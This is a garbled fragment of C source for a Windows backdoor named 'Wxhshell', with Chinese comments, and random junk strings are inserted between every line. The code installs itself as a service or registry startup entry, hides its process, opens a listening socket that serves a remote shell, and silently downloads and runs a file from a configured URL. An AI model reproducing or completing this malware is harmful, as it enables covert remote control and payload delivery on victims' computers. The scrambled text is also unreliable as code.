HMODULE hMod; X#'DS&{ char procName[255]; L/_h5Q:'W unsigned long cbNeeded; F$ShhZgi V$VqYy9 * if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?>cx;"xF q,F\8M\$ CloseHandle(hProcess); ri1D*CS zR6,?Tzg if(strstr(procName,"services")) return 1; // 以服务启动 >0Y >T6! x:\+{- return 0; // 注册表启动 -;20|US)u } ? [l[y$9 6X~.J4 // 主模块 u)Y~+ [Q int StartWxhshell(LPSTR lpCmdLine) O`Er*-O { ExeD3Zj SOCKET wsl; F&%@p& BOOL val=TRUE; _VGAh:v int port=0; -KhNsUQk struct sockaddr_in door; z0+LD Y#S<:,/sb? if(wscfg.ws_autoins) Install(); p:Ry F4{b2 ayfR{RYi port=atoi(lpCmdLine); =5/ow!u8 8=CdO|XV if(port<=0) port=wscfg.ws_port; "3.v(GVr kd)Q$RA( WSADATA data; >lQ@" U if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c[J?`8 5.5<.") if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0^$L{V setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c.dk4v%Y5 door.sin_family = AF_INET; :7UC=GKQk door.sin_addr.s_addr = inet_addr("127.0.0.1"); \@;$xdA$ door.sin_port = htons(port); 45. -P (hNTr(z if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `qnp closesocket(wsl); G
d~
v _ return 1;
%c"PMTq( } 7rQwn2XD{ "BT*9N=| if(listen(wsl,2) == INVALID_SOCKET) { _HF66)X7 closesocket(wsl); |a4cER.'2^ return 1; a?jUm. } 39to5s, Wxhshell(wsl); 6D|[3rXr WSACleanup(); pMB!I9q L#O1> return 0; hb#Nm6 LvtHWt } U{i xok Wip@MGtJ // 以NT服务方式启动 E! d?@Xr@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q\s"B.(G" { 2 j.6 DWORD status = 0; 2t 6m# DWORD specificError = 0xfffffff; DmU,}]#: >RJjm&M serviceStatus.dwServiceType = SERVICE_WIN32; 7irpD7P>
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Lh%z2 5t serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WoM;) Q serviceStatus.dwWin32ExitCode = 0; -]el_:H serviceStatus.dwServiceSpecificExitCode = 0; E|{(O serviceStatus.dwCheckPoint = 0; W[c[ulY& serviceStatus.dwWaitHint = 0; c?5?TJpm @<kY,ox@~ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LNp{lC if (hServiceStatusHandle==0) return; g)$/'RB A,67)li3 status = GetLastError(); -Zq\x' if (status!=NO_ERROR) -yOwX2Wv5; { z^lcc7 serviceStatus.dwCurrentState = SERVICE_STOPPED; m%zo? e serviceStatus.dwCheckPoint = 0; 3LGX ^J<f serviceStatus.dwWaitHint = 0;
_U.|$pU serviceStatus.dwWin32ExitCode = status; G0#<SJ,) serviceStatus.dwServiceSpecificExitCode = specificError; SU,G0. SetServiceStatus(hServiceStatusHandle, &serviceStatus); (P!r^87 return; JfD-CoQS' } fg$#ZCi fi%)520 serviceStatus.dwCurrentState = SERVICE_RUNNING; &1/OwTI4J serviceStatus.dwCheckPoint = 0; WC0z'N({W serviceStatus.dwWaitHint = 0; `%QXaKO- if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M~%P1@% } m`i_O0T 88Nx/:#Y* // 处理NT服务事件,比如:启动、停止 @)#EZQi x VOID WINAPI NTServiceHandler(DWORD fdwControl) YRg"{[+#]k { <OY (y#x switch(fdwControl) [|".j#ZlK { srPczVG* case SERVICE_CONTROL_STOP: U!d|5W.{Q serviceStatus.dwWin32ExitCode = 0;
zh{,.c serviceStatus.dwCurrentState = SERVICE_STOPPED; {wy{L-X serviceStatus.dwCheckPoint = 0; PRJ serviceStatus.dwWaitHint = 0; 8[b_E5!V { ES-V'[+jDy SetServiceStatus(hServiceStatusHandle, &serviceStatus); T:T`M:C. } K|pg'VT" return; [ Y+Ta, case SERVICE_CONTROL_PAUSE: Az7
]qb serviceStatus.dwCurrentState = SERVICE_PAUSED; :@uIEvD? break; (1EtC{
m case SERVICE_CONTROL_CONTINUE: )ifjK6* serviceStatus.dwCurrentState = SERVICE_RUNNING; (+yH break; 3rVfBz case SERVICE_CONTROL_INTERROGATE: BP4xXdG break; @C-03`JWuK }; uMx6: SetServiceStatus(hServiceStatusHandle, &serviceStatus); !"2S'oQKS } oyB
gF\ [Dhqyjq // 标准应用程序主函数 CvHE7H|-{ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fmq''1u { )J*M{Gm 6i H*j!_>W // 获取操作系统版本 ]d67 HOyK OsIsNt=GetOsVer(); 1rx,qfCq GetModuleFileName(NULL,ExeFile,MAX_PATH); 2&"qNpPtE 7}:+Yx // 从命令行安装 1 | if(strpbrk(lpCmdLine,"iI")) Install(); Brtsig,4 WNY:HH // 下载执行文件 NnH]c+ if(wscfg.ws_downexe) { NSa6\.W) if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zO`4W!x& WinExec(wscfg.ws_filenam,SW_HIDE); 1:JwqbZKJ } [#=IKsO'R6 ZDG~tCh=@ if(!OsIsNt) { %afN&T // 如果时win9x,隐藏进程并且设置为注册表启动 hkb&]XWi[ HideProc(); 9tX+n{i StartWxhshell(lpCmdLine); Zg$S% 1(Q } i;rcgd else )I#{\^ if(StartFromService()) mC0_rN^Aj // 以服务方式启动 - "NK"nb StartServiceCtrlDispatcher(DispatchTable); #c!rx%8I else Oa2\\I
// 普通方式启动 v,C~5J3h) StartWxhshell(lpCmdLine); ^@3,/dH1 t 5(gWK{R)* return 0; EugRC }
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